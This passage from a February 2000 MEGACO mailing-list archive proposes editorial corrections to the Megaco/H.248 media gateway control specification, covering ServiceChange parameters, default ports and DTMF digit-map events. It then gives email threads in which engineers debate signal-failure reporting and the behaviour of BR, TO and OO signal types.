* Delete the paragraph and bulleted list beginning "Summarizing use of
properties in the ServiceChangeDescriptor ...", as it has proved to be
misleading.
(begin deleted text)
Summarizing use of properties in the ServiceChange Descriptor:
  * ServiceChangeMethod mandatory in all cases.
  * ServiceChangeReason mandatory in all cases.
  * ServiceChangeDelay mandatory if ServiceChangeMethod is "Graceful" or
"Restart", otherwise not allowed.
  * ServiceChangeAddress mandatory when the terminationID is ROOT, otherwise
not allowed.
  * Profile required if terminationID is ROOT, optional otherwise.
  * Version as specified in section 11.3.
  * MGCIdToTry optional if the message comes from MGC and terminationID is
ROOT, not allowed otherwise.
  * TimeStamp mandatory when terminationID is ROOT, optional otherwise.
(end deleted text)

* Replace the paragraph following the deleted text, as follows:
(begin replacement text)
The return from ServiceChange is empty except when the Root terminationID is
used.  In that case it includes the following parameters as required:
   * ServiceChangeAddress, if the responding MGC wishes to specify an new
destination for messages from the MG for the remainder of the association;
   * ServiceChangeMgcId, if the responding MGC does not wish to sustain an
association with the MG;
   * ServiceChangeProfile, if the responder wishes to negotiate the profile
to be used for the association;
   * ServiceChangeVersion, if the responder wishes to negotiate the version
of the protocol to be used for the association.
(end of replacement text)
Motivation: clarify the operation of the ServiceChange command and render
the text more consistent.

Section 8
===========
Action: delete first sentence of fourth paragraph after the figure.
(begin deleted text)
A TransactionReply includes the return values for all of the Commands in the
corresponding TransactionRequest.
(end deleted text)
Motivation: made redundant by second sentence of paragraph.

Section 8.3
===========
 Action: remove any reference to RFC 2145 in the second paragraph.
(begin replaced text, modified from TD 32/2)
Versions consist of one or two digits, beginning with version 1 for the
present version of the protocol.
(end of replaced text)
Motivation: remove inapplicable reference and provide a starting version
number.

Section 9
===========
Action: all of the second paragraph following the first sentence as follows:
(begin replacement text)
If TCP or UDP is used as the protocol transport and the port to which the
initial ServiceChange request is to be sent is not otherwise known, that
request should be sent to the default port number for the protocol.  This
port number is xxxx for text-encoded operation or yyyy for binary-encoded
operation, for either UDP or TCP.  The MGC receives the message containing
the ServiceChange request from the MG and can determine the MG's address
from it.  As described in section 7.2.8, either the MG or the MGC may supply
an address in the ServiceChangeAddress parameter to which subsequent
transaction requests must be addressed, but responses (including the
response to the initial ServiceChange request) must always be sent back to
the address which was the source of the corresponding request.
(end replacement text)
Motivation: Update the intent with regard to default ports.  (Actual IANA
port number assignments should be known shortly.)  Clarify the use of
ServiceChangeAddress and emphasize the rules for routing of responses.

Section 11.1
===========
Action: delete the final sentence from the final paragraph.
(begin deleted text)
ServiceChange may only be applied to the Root by the Master MGC.
(end deleted text)
Motivation: remove an unnecessary restriction, allowing handoff of Virtual
MGs.

Section 11.2
===========
Action: replace "MGCIdToTry" with "ServiceChangeMgcId" wherever it occurs.
Motivation: editorial.

Section 11.3
===========
Action: first paragraph, final sentence should be modified as follows:
(begin replacement text)
If the MG is unable to comply and it has established a transport connection
to the MGC, it should close that connection.  In any event, it should reject
all subsequent requests from the MGC with Error 406 Version Not Supported.
(end replacement text)
Motivation: specify more precisely the MG role in this case.

Section 11.5
===========
Actions
* replace "MGCIdToTry" with "ServiceChangeMgcId" wherever it occurs.
* second paragraph, third sentence: replace "Failover" by "Handoff".
Motivation: editorial, consistency.

Section 12.1.1
===========
Action for description of PackageID on third line, remove all after
"identifier"
(begin deleted text)
, its text encoding may not be a keyword in the base protocol
(end deleted text)

Annex A, Section A.2
===========
Actions
* in production AuditRequest, element auditDescriptor, remove the OPTIONAL
attribute
* in production StreamMode, remove value delete (5)
* modify the comment to production PkgdName to say that wildcarding of
Package Name (first two octets) is permitted only if Property Name is also
wildcarded
* in production Signal, element notifyCompletion, change type from RequestID
to BOOLEAN
Motivation: consistency with changes in the body of the document.

Annex A, section A.3
===========
Actions
* in production digitLetter, replace term "ditigMapLetter" by term
"digitMapLetter".
* replace production digitMapLetter:
(begin replacement text)
digitMapLetter = DIGIT  /  %x41-4B / %x61-6B /      ; Mapped events 0-9, A-K
(a-k)
                                "L"
; Long duration modifier
(end replacement text)

* delete production MFSig
Motivation: consistency with section 7.1.14

Annex B, section B.2
===========
Actions
* in production auditRequest, make the term LBRKT auditDescriptor RBRKT
non-optional by removing the square brackets around it
* change production ErrorCode from 1*3(DIGIT) to 1*4(DIGIT)
* in production streamModes, remove alternative DeleteToken
* replace production pkgdName as follows:
(begin replacement text)
pkgdName = (PackageName SLASH ItemID) /    ; specific item
                     (PackageName SLASH "*" )      /     ; all events in
package
                     ( "*" SLASH "*")                              ; all
events supported by the MG
(end replacement text)
* replace production notifyCompletion as follows:
(begin replacement text)
notifyCompletion     = NotifyCompletionToken EQUAL ("ON" / "OFF" )
(end replacement text)
* replace production digitMapLetter as follows:
(begin replacement text)
digitMapLetter = DIGIT  /  %x41-4B / %x61-6B /      ; Mapped events 0-9, A-K
(a-k)
                                "L"
; Long duration modifier
(end replacement text)
* delete production MFSig
* in the production quotedString, remove the upper limit 64
* in the production VALUE, remove the upper limit 64
* remove production DeleteToken
Motivation: consistency with the body of the document; removal of arbitrary
limits on size of fields.

Annex D, section D.1
===========
Action:  modify the second sentence:
(begin replacement text)
When no port is provided by the peer (see section 7.2.8), commands should be
sent to the default port number, xxxx for text-encoded operation or yyyy for
binary-encoded operation.  Responses must always be sent to the address and
port from which the corresponding commands were sent.
(end replacement text)
Motivation: update to show separation by encoding method and clarify routing
of responses.

Annex D, section D.1.1
===========
Actions
* Second paragraph, end of second sentence: replace the phrase "from the
same entity" with the phrase "sent to the same MId".
Motivation correct and clarify the description of which transaction
identifier are to be matched.

Annex E, section E.1.2
===========
Action add description of a general signal completion event.
(begin new text)
Signal Completion
EventID:                sc (0x0002)
Indicates termination of one or more signals for which the notifyCompletion
parameter was set to "ON".  For further procedural description, see sections
7.1.11, 7.1.17, and 7.2.7.

Descriptor parameters:
Signal Identity
  ParameterID:  SigID (0x0001)
  This parameter identifies the signals which have terminated.
  Possible values: a list of signals and/or sequential signal lists which
have terminated.  A signal outside of a sequential signal list shall be
identified using the pkgdName syntax without wildcarding.  An individual
signal inside of a sequential signal list shall be identified using the
sequential signal list syntax with the correct signal list identifier,
enclosing the name of the specific signal which terminated in pkgdName
syntax.

Termination Method
  ParameterID:  Meth (0x0002)
  Type: enumeration
  Possible values:
  "TO" (0x0001) Duration expired
  "EV" (0x0002) Interrupted by event
  "SD" (0x0003) Halted by new Signals Descriptor
  "FL" (0x0004) Failure
  Description: Indicates the means by which the signal terminated.

(end new text)
Motivation: complete the description of the signal completion reporting
mechanism.

Annex E, section E.5.3
===========
Action: in the table of signal names and signal/tone IDs, replace d*
(0x0020) by ds (0x0020), and d# (0x0021) by do (0x0021).
Motivation: d* and d# are not legal ItemIDs in the syntax of Annex B.

Annex E, section E.6
===========
Action: delete the third paragraph of the description.
(begin deleted text)
Implementers of this package shall support d0-d9,d* and d#.  Support of
dA-dD is optional.
(end of deleted text)
Motivation: support of a package is on an "all or none" basis.

Annex E, section E.6.2
===========
Actions
* Replace the existing digit map completion event documentation with the
following:
(begin replacement text)
DigitMap Completion Event
EventID: ce, 0x0001
Raised when a digit map completes as described in section 7.1.14, or when an
AuditValue requesting events is applied to a termination, as described in
section 7.1.17.
EventsDescriptor parameters: none.  This event is armed through activation
of a DigitMap Descriptor in accompaniment with an events descriptor
specifying the set of DTMF digit events to be mapped into the digit map.

ObservedEventsDescriptor parameters:
DigitString
ParameterID: ds (0x0001)
Type: string of digit map symbols (possibly empty)
Possible values: any sequence of the characters "0" through "9", "A" through
"F", and the long duration modifier "L".
Description: the portion of the current dial string as described in section
7.1.14 which matched part or all of an alternative event sequence specified
in the digit map.

Extra
ParameterID: ex (0x0002)
Type: digit map symbol
Possible values: any one of the characters "0" through "9" or "A" through
"F"
Description: the final digit map symbol added to the current dial string in
the case where as a result it was determined that no match of the digit map
was possible.  This parameter is present only when that outcome has
occurred.

Termination Method
ParameterID:    Meth (0x0003)
Type: enumeration
Possible values:
"MA" (0x0001) Unambiguous match
"PM"  (0x0002) Partial match, timer expired or unmatched event
"FM"  (0x0003) Full match, timer expired or unmatched event
"AU"  (0x0004) Audit, collection in progress
Description: indicates the reason for generation of the event.  See the
procedures in section 7.1.14.  The Extra parameter may be present only if
the "PM" or "FM" termination method is reported.  Its absence in those cases
indicates that termination was by timer expiry.  The "AU" reason shall be
used only for a response to an AuditValue of the termination while digit
collection is in progress.
(end of replacement text)

* Add the following new text describing the mapping between DTMF tone events
and digit map symbols:
(begin new text)
The following table maps DTMF events to digit map symbols as described in
section 7.1.14.
DTMF Event  Symbol
d0                     "0"
d1                     "1"
d2                     "2"
d3                     "3"
d4                     "4"
d5                     "5"
d6                     "6"
d7                     "7"
d8                     "8"
d9                     "9"
da                     "A" or "a"
db                     "B" or "b"
dc                     "C" or "c"
dd                     "D" or "d"
ds                     "E" or "e"
do                     "F" or "f"

(end new text)
Motivation: complete implementation for DTMF of digit map procedures
described in section 7.1.14.

Annex E, section E.9.2
===========
Actions
* Add the following text to the description of the on-hook event.
(begin new text)
If the first event descriptor after (re)establishment of MGC control over
the specific termination concerned or the MG as a whole contains the on-hook
event request and the line is already on-hook, the MG shall raise an on-ook
event as if on-hook had occurred immediately after the event descriptor
became active.
(end new text)

* Add the following to the description of the off-hook event.
(begin new text)
If the first event descriptor after (re)establishment of MGC control over
the specific termination concerned or the MG as a whole contains the
off-hook event request and the line is already off-hook, the MG shall raise
an off-hook event as if off-hook had occurred immediately after the event
descriptor became active.
(end new text)
Motivation: ensure synchronization of hook state between the MG and MGC
following a control outage.

Annex E, section E.10.3
===========
Actions
* add "(extendible)" after "q724" on the "Possible Values" line for each
signal
* add the following descriptive text to the Test type parameter for each
signal
(begin new text)
Description: this parameter, if present, gives guidance to the MG on which
type of continuity test to perform for the indicated Termination.  It is
necessary only where multiple choices are valid for that termination.  In
general, the MG will have to make use of information provisioned for the
given termination in order to know the exact flavour of continuity test to
run.
(end new text)
Motivation: make clear the responsibility of the MG to determine the exact
type of continuity test to run.

Annex E, section E.10.5
===========
Action replace the paragraph with the following text:
(begin replacement text)
When a MGC initiates or responds to a MG by sending the Initiate or Response
signal to the MG, the MG shall perform the continuity test in accordance
with the specified test type and additional information provisioned in the
MG for the affected termination.
(end replacement text)
Motivation: make clear the responsibility of the MG to determine the exact
type of continuity test to run.

Annex E, section E.11.1
===========
Action: add the following definition of the Silence Suppression property.
(begin new text)
Silence Suppression
PropertyID: ssup (0x1008)
This property indicates whether silence suppression is to be activated in
the encoding of the audio media flow to which it relates.
Type: Boolean
Possible values: True if silence suppression is to be applied.
Defined in: LocalControl
Characteristics: read/write
(end of new text)
Motivation: restore material inadvertently omitted.

Annex E, section E.13.1
===========
Action replace the definition of the echo cancellation property with the
following text.
(begin replacement text)
Echo Cancellation
PropertyID: ec (0x0008)
By default, the telephony gateways always perform echo cancellation
according to                 G.165/G.168. However, it is necessary, for some
calls, to turn off these operations.
Type: enumerated
Possible Values:
  "on" (echo cancellation is permanently enabled and will disregard any
incoming tones)
  "g165" (echo cancellation is according to G.165/G.168: echo cancellation
is on to start with, but will turn itself off when it sees a 2100Hz tone
with phase reversal (i.e. a CED fax tone, or an ANS modem tone)
  "g164" (echo cancellation is according to G.164)
  "off" (echo cancellation is turned off.)
The default is "g165".
        Defined In: LocalControlDescriptor
        Characteristics: read/write
(end replacement text)
Motivation: allow specification of the echo cancellation algorithm, giving
responsibility for detailed application to the MG.

Appendix A, section A.1.2
===========
Actions
* in step 9, remove "L"and "S" characters from the digit map.  Use "E"
instead of "*" and "F" instead of "#"
* in step 11, the parameters to the dd/ce event should be
"{ds="916135551212",Meth=FM}"
* in step 15, add the line "Events = 1234{al/of}" preceding the Signals line
* in step 16.  Insert the line "Add = A5555{}" above the line "Add = A5556{"
Motivation: correct errors and make examples consistent with body of
protocol document.


Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 10:24:38 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12472
	for ; Mon, 7 Feb 2000 10:24:37 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1DB010E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 10:21:37 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28852 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 10:19:39 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.71405910@standards.nortelnetworks.com>; Mon, 7 Feb 2000 10:09:38
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id KAA27848; Mon, 7 Feb
          2000 10:11:58 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id KAA10440; Mon, 7 Feb
          2000 10:11:58 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTT9D3>; Mon, 7 Feb 2000 10:08:39 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088B7@whq-msgusr-02.fore.com>
Date:         Mon, 7 Feb 2000 10:11:50 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Signalling Failure
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Agreed.

We define a General Cause:
        SF - Signal Failure (0x0007)

And we allow Failure Cause to have the name of the signal.

Brian

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreasen@WORLDNET.ATT.NET]
> Sent: Monday, February 07, 2000 9:51 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Signalling Failure
>
>
> Yes, such an approach seems reasonable. However, the general
> failure event
> (Cause in Generic I presume) then needs to be expanded a little. More
> specifically, you must be able to specify that:
> 1. You had a signal failure
> 2. Which signal actually failed
>
> -- Flemming
>
>
> Michael Brown wrote:
>
> > I agree with this approach. It has the capability to be as
> specific as
> > needed with the failure cause parameter and as Brian points
> out, it is
> > always available for all packages.
> >
> > Michael
> >
> > "Rosen, Brian" wrote:
> >
> > > I'd rather see failure with the general failure event.
> > > I don't like exceptions.  The general failure event is there
> > > for just this kind of thing - an asynchronous failure.
> > > It has no catches, it's there when you want it.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > > > Sent: Friday, February 04, 2000 7:13 PM
> > > > To: Brian Rosen; Flemming Andreasen;
> > > > megaco@standards.nortelnetworks.com
> > > > Subject: Signalling Failure
> > > >
> > > >
> > > > I've solved the signalling failure problem, maybe.  I add a
> > > > parameter to the
> > > > signal completion event indicating how the signal was
> > > > terminated: timeout,
> > > > event, new signal descriptor, or failure.  The catch is that
> > > > failures are
> > > > only reported for events for which notifyCompletion is TRUE.
> > > >
> > > > Tom Taylor
> > > > Advisor -- Emerging Carrier IP Standards
> > > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> > > > Phone and FAX: +1 613 736 0961
> > > >
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 10:32:45 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12725
	for ; Mon, 7 Feb 2000 10:32:43 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4093AFD0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 10:29:45 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28857 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 10:28:15 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A55C62B0@standards.nortelnetworks.com>; Mon, 7 Feb 2000
          10:18:15 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 09:20:23 -0600
Received: from zcard015.ca.nortel.com by zmers013; Mon, 7 Feb 2000 10:20:18
          -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XG79P; Mon, 7 Feb 2000 10:20:17
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.137]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CNWM; Mon, 7 Feb 2000 10:20:17
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088A8@whq-msgusr-02.fore.com>
            <389ED237.2EC6759D@nortelnetworks.com>
            <389EDBF0.BDA90FD@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389EE323.1F26431A@nortelnetworks.com>
Date:         Mon, 7 Feb 2000 10:22:11 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Signalling Failure
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

I see your point. It should be fairly straightforward to do so though since
failurecause is an Octet string. Actually, I don't remember if Release Cause
has sufficient functional granularity or flexibility as is to indicate the
equipment which failed to produce the desired signal and don't have access to
documentation to verify. Any help out there on this?

Michael

Flemming Andreasen wrote:

> Yes, such an approach seems reasonable. However, the general failure event
> (Cause in Generic I presume) then needs to be expanded a little. More
> specifically, you must be able to specify that:
> 1. You had a signal failure
> 2. Which signal actually failed
>
> -- Flemming
>
> Michael Brown wrote:
>
> > I agree with this approach. It has the capability to be as specific as
> > needed with the failure cause parameter and as Brian points out, it is
> > always available for all packages.
> >
> > Michael
> >
> > "Rosen, Brian" wrote:
> >
> > > I'd rather see failure with the general failure event.
> > > I don't like exceptions.  The general failure event is there
> > > for just this kind of thing - an asynchronous failure.
> > > It has no catches, it's there when you want it.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > > > Sent: Friday, February 04, 2000 7:13 PM
> > > > To: Brian Rosen; Flemming Andreasen;
> > > > megaco@standards.nortelnetworks.com
> > > > Subject: Signalling Failure
> > > >
> > > >
> > > > I've solved the signalling failure problem, maybe.  I add a
> > > > parameter to the
> > > > signal completion event indicating how the signal was
> > > > terminated: timeout,
> > > > event, new signal descriptor, or failure.  The catch is that
> > > > failures are
> > > > only reported for events for which notifyCompletion is TRUE.
> > > >
> > > > Tom Taylor
> > > > Advisor -- Emerging Carrier IP Standards
> > > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> > > > Phone and FAX: +1 613 736 0961
> > > >
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 10:37:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12848
	for ; Mon, 7 Feb 2000 10:37:05 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D08CD580@standards.nortelnetworks.com>; Mon, 7 Feb 2000 10:33:46 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28973 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 10:31:58 -0500
Received: from mtiwmhc02.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.8FC93E80@standards.nortelnetworks.com>; Mon, 7 Feb 2000 10:31:58
          -0500
Received: from worldnet.att.net ([12.78.105.104]) by mtiwmhc02.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000207153410.CFML26879@worldnet.att.net>; Mon, 7 Feb 2000 15:34:10
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
Content-Type: multipart/alternative;
              boundary="------------0FC9AC95CF57B1E05729A410"
Message-ID:  <389EE5E0.D6F1AA41@worldnet.att.net>
Date:         Mon, 7 Feb 2000 10:33:53 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Michael Brown 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------0FC9AC95CF57B1E05729A410
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Michael Brown wrote:

> Overall, we're still on the right track since we haven't taken the
> approach of throwing everything away and starting over, but I do have
> problems with some of the proposed changes. My feeling is that they
> take us back to the situation we had before the IETF meeting in
> Washington where I felt these issues were reasonably well resolved.
>
> The biggest general issue I have is that the definitions for signal
> type cross the boundary into dictating implementation detail.

Not really. All signal types do is define certain semantics for
different types. As long as you implement those semantics, you may do it
in which ever way you choose, just like the rest of the protocol. The
only thing that should be debated, is whether those three different
semantics make sense. I believe they do, although I would have liked a
slight change in the BR semantics (basically the whole queuing
discussion, but there are other ways to achieve that and it can probably
be deferred to v2)..


> Take the case of  a BR signal. Happily, we have not come back around
> to trying to define some time limit for a BR signal (although I think
> continuing with the proposal will eventually lead us there again), so
> for now BR is a subjective statement. Let's say I want to play a
> signal of a relatively short tone (a couple of seconds) with a
> provisioned (in the MG) length, but I want it to be interruptable. By
> these definitions, this would have to be treated as a TO which means
> that the MGC would have to specify duration (or we have the special
> rule of duration=0 means to play the signal til the MG stops it) which
> I don't think should be required.

Actually, I would think "duration=0" means play until interrupted.
Omitting a duration means use the default (provisioned) value. If the
default is not what you would like, then there seems to be no way around
having to specify the exact duration desired, regardless of what
solution you have. I don't see much of an issue here.

>
> There are other example of how these definitions require a specific
> implementation of common signals, such as dial tone.
>
> Basically, I suppose I continue to feel that the default for all
> signals should be interruptable and that  Keepactive be used to
> override that behavior.

TO+KeepActive comes close to BR, but they are not identical. The main
distinction is that KeepActive is an event parameter, where as signal
type is a property of a signal. Whether that's enough of a difference to
warrant inclusion or not is a matter of taste I guess. Personally, I
think it is, and I certainly don't see it doing any harm.

OO signals on the other hand are an entirely different class of signals
and there really is a need for this kind of semantic behavior, i.e.
something that stays on without being interrupted by events and new
SignalsDescriptor. While you can come close to mimicing this by suitable
use of KeepActive and continued inclusion in every single subsequent
SignalsDescriptors until you want it turned off, I think this is overly
cumbersome and too prone to error. Semantically, again, it's not
identical though since signal type is a "property" of a signal where as
KeepActive is a parameter to an event. Consequently, I feel rather
strongly about keeping OO the way Tom specified it.

>
> Unfortunately, I don't have time to respond with my objections more
> fully at this moment as I'm leaving shortly for the ITU meeting. When
> I arrive in Geneva, I will follow up with my other concerns and
> examples.
>
> Michael
>
>
>
> "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
>
>>
>>
>> OK, let's sum up, not that I'm confident that this will fly yet.
>> I'd like to see the reaction of a couple of other vocal parties --
>> say Michael Brown and Christian Groves.
>>
>> We have three signal types with distinct roles:
>>   BR has a timer but is not interrupted by events.  It is
>> interrupted by signal descriptor replacement.
>>   TO is the most interruptible: timer, events, signal descriptors.
>>   OO is the most persistent: interrupted by signal descriptors with
>> explicit "Off" syntax only.
>> I assume we allow over-riding of default signal type in any given
>> instance of playout.
>>
>> The list is an interesting problem.  I think I have an answer to
>> turning an OO list off, but now we also have to define behaviour in
>> response to events.  We might consider the following rules:
>>
>>  -- the type of the list is set explicitly -- every signal on the
>> list with the possible exception of the last one must be either BR
>> or TO, in order to have an assigned duration
>>
>>  -- if the last event is OO, the list must be OO and vice versa
>>  -- the type of the list, not the type of the signals making it up,
>> determines the conditions under which playout of the list ceases
>>
>>  -- the list times out if it is not OO and all of the signals on it
>> have played out, each in turn to its full duration.
>>
>>      -----Original Message-----
>>      From:  Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
>>      Sent:  Friday, February 04, 2000 5:38 PM
>>      To:    MEGACO@STANDARDS.NORTELNETWORKS.COM
>>      Subject:       Re: Cisco SG16: Signals Operation
>>
>>      Maybe, but according to Brian's first "no-op" rule, it must be
>>      broken in order to get fixed :-)
>>
>>      Regarding dial-tone, I don't see the issue. What you have is
>>      three different signal types and three different semantics.
>>      Each has it's own time and place. In the case of dial-tone,
>>      TimeOut happens to be the one, not Brief.
>>
>>      -- Flemming
>>
>>
>>      "Rosen, Brian" wrote:
>>            Let's see:    Events stop signals except:        When
>>           KeepActive is set        If the signal is BR        If the
>>           signal is OONet result - events stop signals only when TO
>>           and not KeepActive.Maybe we should have a "StopSignal",
>>           rather than a KeepActiveMaybe it happens so seldom that we
>>           use an embedded signals to do it.Also note that by saying
>>           BR doesn't stop for events, you twist the solution tofirst
>>           digit stops dialtone to a new level.Brian
>>                -----Original Message-----
>>                From: Flemming Andreasen
>>                []
>>                Sent: Friday, February 04, 2000 4:55 PM
>>                To: MEGACO@standards.nortelnetworks.com
>>                Subject: Re: Cisco SG16: Signals Operation
>>
>>                Hi Tom
>>
>>                OO signals should not be interrupted by an event,
>>                only the explicit "Off" syntax should have this
>>                effect (otherwise we are back to TO signals with
>>                indefinite duration, and semantically there's good
>>                use for something that stays active until explicitly
>>                told otherwise, e.g. consider message waiting
>>                indicator)
>>
>>                Regards
>>
>>                        Flemming
>>
>>                Tom-PT Taylor wrote:
>>
>>
>>                     Digging through the accumulated mass of indented
>>                     text and comments, I think I see two parties
>>                     agreeing on the following points.  Unfortunately
>>                     experience tells me that as soon as we introduce
>>                     a third party the agreements will vanish, but
>>                     I'll record them here just in case a miracle
>>                     happens.
>>
>>                     1) BR signals have the following
>>                     characteristics: duration is assumed to be known
>>                     to the MG without explicit MGC input.  Brian
>>                     wants the ability to override duration, and I
>>                     have no quarrel with that -- the only question
>>                     is the exact mechanism.  The second
>>                     characteristic is that a BR signal is not
>>                     terminated by the detection of an event.  (But
>>                     BR signals are still terminated by replacement
>>                     of the Signals descriptor??  Any objections
>>                     here?)
>>
>>                     2) TO signals seem to be fairly well understood.
>>
>>                     3) OO signals have the following
>>                     characteristics: they remain on until
>>                     interrupted by detection of an event, or receipt
>>                     of a Signals descriptor with explicit Off
>>                     syntax.  Brian's keyword syntax is probably
>>                     acceptable.  Brian has a query about signal
>>                     lists.  Is there something about this proposal
>>                     that doesn't work given our current signal list
>>                     text?
>>
>>                     4) Brian's proposals for completion events
>>                     probably work for Chip and they work for me.  To
>>                     summarize: the current notifyCompletion
>>                     parameter remains but its significance changes:
>>                     it is a selector (Boolean, default FALSE) and
>>                     does not actually arm reporting.  There is a
>>                     signal completion event which reports on the
>>                     completion of any signal so flagged, with the
>>                     identity of the signal as a reporting
>>                     parameter.  QUESTION: should KeepActive default
>>                     to TRUE for this event?  In any case, the signal
>>                     completion event is invoked in the usual way,
>>                     through an events descriptor.
>>
>>                     Open issue: signal failures.  The need for
>>                     reports of such failures is real -- they do
>>                     happen from time to time.  They happen
>>                     autonomously, which means we either have to have
>>                     an error method (ServiceChange ?) or an event to
>>                     report them.  The key issue is whether you would
>>                     need to know about ANY failure or only those of
>>                     selected signals.
>>
Regards

            Flemming

---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------0FC9AC95CF57B1E05729A410
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



 

Michael Brown wrote:

Overall, we're still on the right track since we
haven't taken the approach of throwing everything away and starting over,
but I do have problems with some of the proposed changes. My feeling is
that they take us back to the situation we had before the IETF meeting
in Washington where I felt these issues were reasonably well resolved.

The biggest general issue I have is that the definitions for signal
type cross the boundary into dictating implementation detail.

Not really. All signal types do is define certain semantics for different
types. As long as you implement those semantics, you may do it in which
ever way you choose, just like the rest of the protocol. The only thing
that should be debated, is whether those three different semantics make
sense. I believe they do, although I would have liked a slight change in
the BR semantics (basically the whole queuing discussion, but there are
other ways to achieve that and it can probably be deferred to v2)..

 

Take the case of  a BR signal. Happily, we have
not come back around to trying to define some time limit for a BR signal
(although I think continuing with the proposal will eventually lead us
there again), so for now BR is a subjective statement. Let's say I want
to play a signal of a relatively short tone (a couple of seconds) with
a provisioned (in the MG) length, but I want it to be interruptable. By
these definitions, this would have to be treated as a TO which means that
the MGC would have to specify duration (or we have the special rule of
duration=0 means to play the signal til the MG stops it) which I don't
think should be required.

Actually, I would think "duration=0" means play until interrupted. Omitting
a duration means use the default (provisioned) value. If the default is
not what you would like, then there seems to be no way around having to
specify the exact duration desired, regardless of what solution you have.
I don't see much of an issue here.

 

There are other example of how these definitions require a specific
implementation of common signals, such as dial tone.

